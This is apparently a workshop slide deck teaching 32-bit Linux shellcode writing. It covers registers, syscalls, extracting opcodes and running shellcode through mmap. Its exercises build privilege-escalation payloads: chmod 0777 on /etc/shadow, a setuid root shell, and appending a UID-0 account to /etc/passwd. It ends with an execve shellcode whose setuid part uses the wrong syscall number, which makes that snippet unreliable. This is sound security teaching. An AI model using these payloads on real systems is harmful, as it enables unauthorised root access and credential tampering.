

Basic Shellcoding Lab

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Intro

- This is **not** shellscripting
- We are sending opcodes to the cpu
- You want to put this into your heaps and stacks
- Or just code assembly for fun :)

Prerequisites

- Assembler: nasm / gas / as
- C Compiler: gcc
- Interpreter: python2/3
- Shellnoob

<https://github.com/reyammer/shellnoob>

- Objdump
- `ascii_converter.py`

http://hack4.org/talks/shellcodelab/ascii_converter.py

CPU Registers

EAX → Accumulator

EBX → Baseregister

ECX → Counter

EDX → Data

ESI → Source Index

EDI → Dest. Index

ESP → StackPointer

EIP → Instruction Ptr

32 BIT Registers

CPU Registers

- EAX/EBX/ECX/EDX (32 Bit)
- AX/BX/CX/DX (16Bit)
- AH/BH/CH/DH (Higher 8Bit)
- AL/BL/CL/DL (Lower 8Bit)

Syscall

- What is a syscall?
- *nix using Syscalls!
- man 2 syscall
- Quite some differences in number 32/64bit

/usr/include/asm/unistd_32.h

/usr/include/asm/unistd_64.h

Syscall Examples

32BIT

- exit 1
- read 3
- write 4
- open 5
- close 6
- execve 11
- chdir 12
- chmod 15
- setuid 23
- kill 37
- reboot 88
- socket 102
- connect 102
- accept 102
- bind 102
- listen 102

64Bit

- exit 60
- read 0
- write 1
- open 2
- close 3
- execve 59
- chdir 80
- chmod 90
- setuid 105
- kill 62
- reboot 169
- socket 41
- connect 42
- accept 43
- bind 49
- listen 50

Syscall

EAX

syscall

EBX

arg1

ECX

arg2

EDX

arg3

Syscall

- Different syscalls for different operations
- read/write/open/close ...
- Always check “man 2 <syscall>”

So you know what arguments you need to put on the stack.

Assembly Instructions

- `xor` - null out registers
-> `xor eax, eax` or `xor ebx, ebx`
- `mov` - move a value into a register
-> `mov eax, 1` (exit syscall)
- `push` - push something on the stack
-> `push 0x44434241` (reverse ABCD)

Assembly Instructions

- pop - get something from the stack, put it in register
-> pop ecx
- nop - nop(trix) do nothing?!??
-> nop
- inc - increment value in register
-> inc eax (syscall + 1)
- dec - decrement value in register
-> dec eax (syscall - 1)

Assembly Instructions

- jmp - jmp to label
-> jmp shell
- int 0x80 - execute what is prepared
-> int 0x80

Syscall: exit

```
void _exit(int status);
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BITS 32
```

```
global _start
```

```
_start:
```

```
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```

```
xor ebx, ebx
```

```
mov eax, 1
```

```
mov ebx, 4
```

```
int 0x80
```

Syscall: exit

```
$ nasm -f elf32 exit.asm  
$ ld -m elf_i386 exit.o -o exit  
$ ./exit  
$ ./exit ; echo $?  
4
```

```
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_start:  
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xor ebx, ebx  
mov eax, 1  
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Syscall: exit

```
$ objdump -d -M intel exit
```

```
exit:    file format elf32-i386
```

```
Disassembly of section .text:
```

```
08048060 <_start>:
```

```
8048060:31 c0          xor    eax,eax
```

```
8048062:31 db          xor    ebx,ebx
```

```
8048064:bb 04 00 00 00 mov    ebx,0x4
```

```
8048069:b8 01 00 00 00 mov    eax,0x1
```

```
804806e:cd 80          int    0x80
```

-d for disassembly

-M for presenting in Intel Instruction Set

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8048062:	31 db	xor	ebx, ebx
8048064:	b8 01 00 00 00	mov	eax, 0x1
8048069:	b3 03	mov	bl, 0x3
804806b:	b7 04	mov	bh, 0x4
804806d:	66 bb 05 00	mov	bx, 0x5
8048071:	bb 06 00 00 00	mov	ebx, 0x6
8048076:	cd 80	int	0x80

- Remember we can address ebx/bx/bl/bh
- Btw. Those things are our opcodes

Getting the Opcodes

- `./shellnoob.py --from-obj exit --to-c exit.c`

Result:

```
char shellcode[] =  
"\x31\xc0\x31\xdb\xbb\x05\x00"  
"\x00\x00\xb8\x01\x00\x00\x00"  
"\xcd\x80";
```

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8048066:b0 01          mov    al,0x1
8048068:cd 80          int    0x80
```

- use it with shellnoob

```
$ ./shellnoob.py --from-obj exit-no0 --to-c no0.c
```

```
$ cat no0.c
```

```
char shellcode[] = "\x31\xc0\x31\xdb\xb3\x04\xb0\x01\xcd\x80";
```

Execute our Shellcode (old)

```
#include <stdio.h>
#include <unistd.h>
#include <string.h>
```

```
char shellcode[] = "\x31\xc0\x31\xdb\xb3\x04\xb0\x01\xcd\x80";
```

```
int main(void)
{
    int *ret;

    printf("scode len: %d\n",strlen(shellcode));
    ret = (int *)&ret+2;
    *ret = (int)shellcode;
    return 0;
```

Execute our Shellcode (old)

```
$ ./exit; echo $?
```

```
$ 0
```

- Hm, that should be four, no?

Execute our Shellcode (old)

- Works on systems without stack protection
- The problem is the memory are we are writing our shellcode to. We cannot write and execute.
(Non-Executeable Stack)
- Several solutions, we go with mapping our area to write to.

Execute our Shellcode-MMAP

```
#include <string.h>
#include <sys/mman.h>

char shellcode[] = "\x31\xc0\x31\xdb\xb3\x04\xb0\x01\xcd\x80";

int main(int argc, char **argv)
{
    // Allocate some read-write memory
    void *mem = mmap(0, sizeof(shellcode), PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

    // Copy the shellcode into the new memory
    memcpy(mem, shellcode, sizeof(shellcode));

    // Make the memory read-execute
    mprotect(mem, sizeof(shellcode), PROT_READ|PROT_EXEC);

    // Call the shellcode
    int (*func)();
    func = (int (*)())mem;
    (int)(*func)();

    // Now, if we managed to return here, it would be prudent to clean up the memory:
    munmap(mem, sizeof(shellcode));

    return 0;
}
```

Break anyone?

Recap

- Registers
- Simple Stack Layout
- Exit shellcode
- How to run it on old style and mmap

Of course exit is usually pretty useless for us, so lets do something more helpful

chmod 0777 /etc/shadow

- Syscall chmod: 15

```
int chmod(const char *pathname, mode_t mode);
```

Eax: chmod (15)

Ebx: *pathname (ptr from stack)

Ecx: mode (0x1ff)

- Code:

```
mov ecx, 0x1ff
```

```
push <string onto stack with null terminator>
```

```
mov ebx, esp
```

```
mov al, 15
```

chmod 0777 /etc/shadow

- push data on the stack
- you need to terminate the string
- use tool `ascii_converter.py`
- String:
776f646168732f6374652f

create your push instructions (4 bytes)

```
push    ebx           ;null terminator
push    0x776f6461    ;/etc/shadow
push    0x68732f63
push    0x74652f2f
```

- store address of the string into ebx
`mov ebx, esp`
- dont forget to add an exit after all you dont want to leave a segfault

chmod 0777 /etc/shadow

<xor used registers>

;chmod

mov ecx, 0x1ff ;0777

push ebx ;null terminator

push 0x?? ;/etc/shadow

push 0x??

push 0x??

mov ebx, esp

mov eax, ??

int 0x80

;exit

xor eax, eax

xor ebx, ebx

mov eax, ??

int 0x80

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mov eax, ??

int 0x80

xor eax, eax

xor ebx, ebx

xor ecx, ecx

;chmod

mov ecx, 0x1ff ;0777

push ebx ;null terminator

push 0x776f6461 ;/etc/shadow

push 0x68732f63

push 0x74652f2f

mov ebx, esp ;put the address of esp to ebx (shadow)

mov eax, 15

int 0x80

;exit

xor eax, eax

xor ebx, ebx

mov eax, 1

int 0x80

setuid r00tshell

- Create a local mmap shellcode which will give 4777 permissions to a shell placed somewhere on the filesystem. NO NULLBYTES!
- Download the shell.c file here && compile it
chown it to root:
<http://hack4.org/talks/shellcodelab/shell.c>
- Shellcode doing == chmod 4777 shell

setuid r00tshell

- HOWTO:

- Chmod
- Exit
- check with objdump for nullbytes
- remove them(use other registers, not pushb 0x0)
- compile the shell and put it somewhere, chown by hand to root
- Use your shellcode with mmap to change the permissions of the file

Result:

```
$ ./r00tshell
```

```
# id
```

```
uid=0(root) gid=1000(shell)
```

```
groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare),1000(shell)
```

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Problems?

adduser to /etc/passwd

- man 2 open
- man 2 write
- man 2 close (we ignore that for now :))

- open

eax ebx ecx
open(const char *pathname, int flags);

- write

eax ebx ecx edx
ssize_t write(int fd, const void *buf, size_t count);

adduser to /etc/passwd

```
/usr/include/bits/fcntl.h
```

```
/usr/include/bits/fcntl-linux.h
```

```
# define O_CREAT    0100
```

```
# define O_EXCL     0200
```

```
# define O_NOCTTY   0400
```

```
# define O_TRUNC    01000
```

```
# define O_APPEND 02000 <--- we want to append
```

```
# define O_NONBLOCK 04000
```

- how to convert this?

```
$ gdb --quiet --batch -ex 'print /x 02000 | 01'
```

```
$1 = 0x401
```

adduser to /etc/passwd

```
;open  
mov eax, ?? syscall ??  
push nullbyte  
mov ebx, push path of /etc/passwd  
mov stackpointer to register  
mov ecx, ?? flags ??  
int 0x80
```

```
;write  
ret value(file descriptor) is in eax, so lets grab it:  
xor ebx  
mov fd to register  
xor eax, eax  
mov al, ?? syscall  
push nullbyte  
push <user you want to add>  
mov ecx, (len of the userentry)  
int 0x80
```

- Return values are saved in EAX
- Remember:

```
int open(const char *pathname, int flags);
```

adduser to /etc/passwd

- You can use the `crypt_des_tool.py`
`./crypt_des_tool.py hack3r`
- Convert the string to something fitting your assembly code
- The user you want to add, get:
http://hack4.org/talks/shellcodelab/ascii_convert2.py
- `./ascii_convert2.py`
`hack3r:ABHmse9Zk8sNI:0:0::/root:/bin/bash`

adduser to /etc/passwd

- Watch out for:

Nulltermination of the strings

Lonely bytes (push byte)

Missing Newline

- Hint:

push byte 0x0a

adduser to /etc/passwd

Build your own adduser assembly code (15m)

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```
;setuid
xor    eax, eax
mov    ebx, eax
mov    eax, 11
int    0x80

;execve
xor    ecx, ecx
push   ecx
push   0x69732f2f
push   0x6e69622f
mov    ebx, esp
mov    edx, 0x00000000
xor    eax, eax
mov    eax, 11
int    0x80
```

- That's Execve, far from being perfect.
- Impr0ve!
- Btw. That's it!

Thanks for your
attention!